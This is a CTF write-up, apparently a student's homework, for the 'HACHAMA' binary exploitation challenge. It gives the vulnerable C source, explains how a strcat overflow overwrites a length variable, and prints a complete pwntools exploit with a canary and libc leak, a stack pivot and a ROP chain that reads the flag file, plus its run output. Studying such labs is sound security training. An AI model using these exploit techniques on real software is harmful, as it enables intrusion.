Simple PWN 0x37(2023 HW - HACHAMA)

Simple PWN 0x37(2023 HW - HACHAMA)

Background

stack pivot rop bof

Source code

:::spoiler Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "SECCOMP.h"

long n;
char msg[0x20];
long n2;

struct sock_filter seccompfilter[]={
	BPF_STMT(BPF_LD | BPF_W | BPF_ABS, ArchField),
	BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
	BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
	BPF_STMT(BPF_LD | BPF_W | BPF_ABS, SyscallNum),
	Allow(open),
	Allow(openat),
	Allow(read),
	Allow(write),
	Allow(close),
	Allow(readlink),
	Allow(getdents),
	Allow(getrandom),
	Allow(brk),
	Allow(rt_sigreturn),
	Allow(exit),
	Allow(exit_group),
	BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),
};

struct sock_fprog filterprog={
	.len=sizeof(seccompfilter)/sizeof(struct sock_filter),
	.filter=seccompfilter
};

void apply_seccomp(){
	if(prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0)){
		perror("Seccomp Error");
		exit(1);
	}
	if(prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&filterprog)==-1){
		perror("Seccomp Error");
		exit(1);
	}
	return;
}

int main(void)
{
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	apply_seccomp();
	char buf2[0x30];
	// long n2 = 0x30;
	// char msg[0x20];
	char name[0x20];
	// long n = 20;
	n2 = 0x30;
	n = 20;
	printf("Haaton's name? ");
	n = read(0, name, n);
	name[n] = 0;
	strcpy(msg, name);
	strcat(msg, " hachamachama");
	puts(msg);
	puts("ECHO HACHAMA!");
	while (1)
	{
		read(0, buf2, n2);
		if (strcmp(buf2, "HACHAMA") == 0)
			write(1, buf2, n2);
		else
			break;
	}
	return 0;
}

:::

Recon

:::warning 切記題目用read接,所以不需要null byte做結尾,另外題目使用的libc是ubuntu 22.04.2的版本,所以可以用docker把libc資料撈出來,再針對這個做應用 ::: 這一題我覺得出的很好,有很特別的exploit,也需要用到很多前兩周學會的幾乎所有技能,包含BOF / return 2 libc / stack pivot / ROP等等

  1. ==漏洞在哪裡???== 首先,乍看之下會不知道這個洞在哪裡,不過多try幾次或是跟一下動態會發現,他做的事情會蓋到原本==n2==的數值,導致我們之後可以輸入更多的東西 詳細來說就是: 因為在#61的地方輸入的東西被存到local variable name,而在#63會被copy到global variable ==msg==,並且和 hachamachama合併在一起,如果一開始我們輸入的東西是20個字元,而concatenate的 hachamachama總共13個字元,加起來就已經是==33==個字元,但如下圖所示,msg一開始的大小就被限制在32 bytes,也就是說他會蓋到後面n2的值 圖片 從下圖可以看出來,因為長度超過的關係,原本hachamachama的最後一個字元,也就是0x61往後蓋到n2的值,這代表我們在往後的地方可以多加利用 圖片

  2. 知道漏洞在哪裡之後,我們就可以利用這個洞,把stack的東西leak出來
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
     payload = b'HACHAMA'.ljust(0x8, b'\x00')
     r.send(payload)
     result = r.recv(0x61)
     log.info("[-------------Stack Info-------------]")
     for i in range(12):
         log.info(hex(u64(result[i * 8:i * 8 + 8])))
     log.info("[-------------Stack Info-------------]")
    
     canary = u64(result[7 * 8:7 * 8 + 8])
     libc_start_main = u64(result[9 * 8:9 * 8 + 8]) - 0x80
     libc_base_addr = libc_start_main - 0x29d90 + 0x80
     main_fn_addr = u64(result[11 * 8:11 * 8 + 8])
     code_segment_base = main_fn_addr - 0x331
    
     log.success(f'Canary = {hex(canary)}')
     log.success(f'libc start main base = {hex(libc_start_main)}')
     log.success(f'libc base addr = {hex(libc_base_addr)}')
     log.success(f'Main Function Address = {hex(main_fn_addr)}')
     log.success(f'Code Segment = {hex(code_segment_base)}')
    
  3. 有了canary / libc base 和code segment base / main function address,就可以來搞事了,初步的想法是直接寫一個open / read / write的syscall(因為seccomp的關係導致我們的操作極其有限),不過因為我們也只是多了0x31的空間可以寫ROP,代表一定沒辦法把所有的shellcode都寫上去,這時候就需要用到stack pivot的技術,開一個相對大的空間繼續我們的作業,但就像@ccccc說的

    stack pivot只是把你的stack用到其他地方而已,並不會因為你換了stack的位置你就能overflow比較多

    所以比較正確的觀念是,我先利用多出來的0x31把可以用的空間開大,再寫gadget,會比較方便,如果是像lab那樣每一個步驟都切成一個stack pivot的話也不現實,因為一個操作所需要的空間一定大於0x31,隨便舉個例子,如果是open→fd = open("/home/chal/flag.txt", 0);,全部的payload如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
     payload = b'/home/chal/flag.txt'.ljust(0x38, b'\x00')
     payload += flat(
         canary,
         0,
         pop_rax_ret, 2,
         pop_rdi_ret, bss_addr_flag - 0x40,
         pop_rdx_rbx_ret, 0, 0,
         pop_rsi_ret, 0,
         syscall_ret
     )
    

    最少也需要0x98的空間,所以擴大可以寫的空間是必要的,但我還是稍微嘮叨一下,一開始我的想法是直接把n2的數值改掉,這樣就可以解決上述的問題,但實際操作會發現這也不現實,因為payload也會過長,如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
     payload = b'a' * 0x38
     payload += flat(
         canary,
         rbp,
         pop_rdi_ret, n2_addr,
         pop_rdx_ret, 0x200,
         mov_qword_ptr_rdi_rdx_ret,
         main_fn_addr + 291,
     )
    

    這樣最少也需要0x78的空間,比起最大值的0x61還差蠻多的,所以昨天就想了超久怎麼解決這個問題

  4. 解決空間大小的問題 這個要回到動態實際執行的時候是怎麼呼叫的(如下圖),這一題有趣的地方在這邊,理論上我們是回到main+291,讓他fetch n2的值給RAX,但如果我直接跳到main+298,並且利用rop把rax變大,是不是也有一樣的效果 圖片
    1
    2
    3
    4
    5
    6
     extend_payload = flat(
         canary,
         bss_addr_flag,
         pop_rax_ret, 400,
         main_fn_addr + 298,
     )
    

    此時我們就不需要那麼多的gadget幫助完成該目標

  5. 剩下的open / read / write就和lab差不多

:::success 截至目前為止,我們的流程是

  1. 設法利用overflow改變n2的數值,使我們能夠輸入更多shell code
  2. 先利用第一次的write輸入stack上的重要資訊
  3. 因為n2空間還是太小,所以我們需要先擴大能夠寫入的空間,也就是先利用第一次的stack pivot把shellcode寫上去→main+291
  4. 執行shellcode後,使rax變大再跳回去main+298
  5. 寫入真正的open / read / write讀出flag :::

:::warning 注意事項:

  1. canary 因為他有開stack protection,所以一定要對好canary在stack上的位置,可以用動態去看,依照這一題的狀況,他是會在rbp+0x40的地方
  2. libc version 這一題因為要leak libc的base address,並且利用ROP gadget達到syscall的目的,所以一定要確定remote server使用的版本是哪一個,光知道大的版本號是有可能會失敗的,因為像我local端到最後有成功,但跑在remote就爛掉了,和@david學長討論過後的結果就是libc version有問題,實際用docker去看彼此的差異就會發現,右邊是我的→22.04.3,而左邊是實際remote的docker開出來的結果→22.04.2,所以我的作法是把docker中的東西拉出來再使用,包含在local端使用以及找gadget 圖片
    1
     $ docker cp /lib/x86_64-linux-gnu/libc.so.6 /mnt/d/Downloads/
    
  3. IO problem 這個問題也是很弔詭,會發現我在最後一個send之前還有一個raw_input(),如果拿掉的話在remote一樣會爛掉,這有可能是IO之類的問題,但總之一定要加 :::

Exploit - BOF + Stack Pivot + ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *

r = process('./chal', env={"LD_PRELOAD" : "./libc.so.6"})
r = remote('10.113.184.121', 10056)
context.arch = 'amd64'


# Try to trigger length exploit
payload = b'a' * 20
r.sendafter(b"Haaton's name? ", payload)
print(r.recvlines(2))

# Leak stack info
payload = b'HACHAMA'.ljust(0x8, b'\x00')
r.send(payload)
result = r.recv(0x61)
log.info("[-------------Stack Info-------------]")
for i in range(12):
    log.info(hex(u64(result[i * 8:i * 8 + 8])))
log.info("[-------------Stack Info-------------]")

canary = u64(result[7 * 8:7 * 8 + 8])
libc_start_main = u64(result[9 * 8:9 * 8 + 8]) - 0x80
libc_base_addr = libc_start_main - 0x29d90 + 0x80
main_fn_addr = u64(result[11 * 8:11 * 8 + 8])
code_segment_base = main_fn_addr - 0x331

log.success(f'Canary = {hex(canary)}')
log.success(f'libc start main base = {hex(libc_start_main)}')
log.success(f'libc base addr = {hex(libc_base_addr)}')
log.success(f'Main Function Address = {hex(main_fn_addr)}')
log.success(f'Code Segment = {hex(code_segment_base)}')

# Prepare ROP gadget
pop_rax_ret = libc_base_addr + 0x0000000000045eb0# : pop rax ; ret
pop_rdi_ret = libc_base_addr + 0x000000000002a3e5# : pop rdi ; ret
pop_rsi_ret = libc_base_addr + 0x000000000002be51# : pop rsi ; ret
pop_rdx_ret = libc_base_addr + 0x00000000000796a2# : pop rdx ; ret
pop_rdx_rbx_ret = libc_base_addr + 0x0000000000090529# : pop rdx ; pop rbx ; ret
syscall_ret = libc_base_addr + 0x0000000000091396# : syscall ; ret

bss_addr = code_segment_base + 0x3000 + 0x200
bss_addr_flag = bss_addr + 0x400
bss_addr_buf = bss_addr_flag + 0x120

file_addr = b'/home/chal/flag.txt'.ljust(0x38, b'\x00')

trash_payload = flat(
    canary,
    bss_addr,
    main_fn_addr + 291
)

extend_payload = flat(
    canary,
    bss_addr_flag,
    pop_rax_ret, 400,
    main_fn_addr + 298,
)

open_payload = flat(
    # Open file
    # fd = open("/home/chal/flag.txt", 0);
    pop_rax_ret, 2,
    pop_rdi_ret, bss_addr_flag - 0x40,
    pop_rdx_rbx_ret, 0, 0,
    pop_rsi_ret, 0,
    syscall_ret
)

read_payload = flat(
    # Read the file
    # read(fd, buf, 0x30);
    pop_rax_ret, 0,
    pop_rdi_ret, 3, 
    pop_rsi_ret, bss_addr_buf,
    pop_rdx_rbx_ret, 0x70, 0,
    syscall_ret
)

write_payload = flat(
    # Write the file
    # write(1, buf, 0x30);
    pop_rax_ret, 1,
    pop_rdi_ret, 1,
    # pop_rsi_ret, bss_addr_buf,
    # pop_rdx_ret, 0x70,
    syscall_ret
)

# Extend rbp space
r.send(b'a' * 0x38 + trash_payload)
r.send(b'a' * 0x38 + extend_payload)

# Write Exploit ROP gadget
raw_input()
r.send(file_addr + p64(canary) + p64(0) + open_payload + read_payload + write_payload)

r.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ python exp.py
[+] Starting local process './chal': pid 5857
[+] Opening connection to 10.113.184.121 on port 10056: Done
[b'aaaaaaaaaaaaaaaaaaaa hachamachama', b'ECHO HACHAMA!']
[*] [-------------Stack Info-------------]
[*] 0x414d4148434148
[*] 0x0
[*] 0x0
[*] 0x0
[*] 0x0
[*] 0x0
[*] 0x0
[*] 0x2be6a8b7acfcbc00
[*] 0x1
[*] 0x7fef436ccd90
[*] 0x0
[*] 0x560ff1bf4331
[*] [-------------Stack Info-------------]
[+] Canary = 0x2be6a8b7acfcbc00
[+] libc start main base = 0x7fef436ccd10
[+] libc base addr = 0x7fef436a3000
[+] Main Function Address = 0x560ff1bf4331
[+] Code Segment = 0x560ff1bf4000

[*] Switching to interactive mode
flag{https://www.youtube.com/watch?v=qbEdlmzQftE&list=PLQoA24ikdy_lqxvb6f70g1xTmj2u-G3NT&index=1}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Segmentation fault
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to 10.113.184.121 port 10056
[*] Stopped process './chal' (pid 5857)

Flag: flag{https://www.youtube.com/watch?v=qbEdlmzQftE&list=PLQoA24ikdy_lqxvb6f70g1xTmj2u-G3NT&index=1}